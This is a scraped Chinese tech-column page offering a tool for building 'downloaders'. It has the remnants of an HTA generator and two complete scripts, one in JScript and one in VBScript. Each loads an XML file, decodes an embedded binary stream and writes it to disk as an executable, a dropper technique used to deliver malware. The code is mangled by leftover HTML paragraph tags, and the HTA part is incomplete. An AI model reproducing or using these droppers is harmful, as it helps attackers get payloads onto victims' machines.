以下代码保存成hta文件，可生成js和vbs下载者

代码如下:

ID="xmldown"

Caption="yes"

SCROLL="auto"

border="none"

borderStyle="static"

SINGLEINSTANCE="yes"

maximizebutton="no"

BORDER="no"

icon="dxdiag.exe">

1.生成下载用的xml文件

选择下载的exe文件：

保存路径

2.生成下载者

生成js下载者生成vbs下载者

</p> <p>var objArgs = WScript.Arguments;</p> <p>var objXmlFile =new ActiveXObject("Microsoft.XMLDOM");</p> <p>objXmlFile.async=false;</p> <p>objXmlFile.load(objArgs(0).toLowerCase());</p> <p>do</p> <p>{</p> <p>WScript.sleep(100);</p> <p>}</p> <p>while (!objXmlFile.readyState == 4)</p> <p>if (objXmlFile.readyState == 4)</p> <p>{</p> <p>var objStream = new ActiveXObject("ADODB.Stream")</p> <p>var objNodeList =objXmlFile.getElementsByTagName("stream")[0].nodeTypedValue</p> <p>with(objStream)</p> <p>{</p> <p>objStream.Type = 1;</p> <p>objStream.Open();</p> <p>objStream.Write(objNodeList);</p> <p>objStream.SaveToFile(objArgs(1).toLowerCase(),2);</p> <p>objStream.close();</p> <p>}</p> <p>}</p> <p>delete objXmlFile;</p> <p>delete objStream;</p> <p>

</p> <p>Set objXmlFile = CreateObject("Microsoft.XMLDOM")</p> <p>objXmlFile.async=false</p> <p>objXmlFile.load(Wscript.arguments(0))</p> <p>Do While objXmlFile.readyState<>4</p> <p>wscript.sleep 100</p> <p>Loop</p> <p>If objXmlFile.readyState = 4 Then</p> <p>Set objNodeList = objXmlFile.documentElement.selectNodes("//file/stream")</p> <p>Set objStream = CreateObject("ADODB.Stream")</p> <p>With objStream</p> <p>.Type = 1</p> <p>.Open</p> <p>.Write objNodeList(0).nodeTypedvalue</p> <p>.SaveToFile Wscript.arguments(1), 2</p> <p>.Close</p> <p>End With</p> <p>Set objStream = Nothing</p> <p>End If</p> <p>Set objXmlFile = Nothing</p> <p>

更多信息请查看IT技术专栏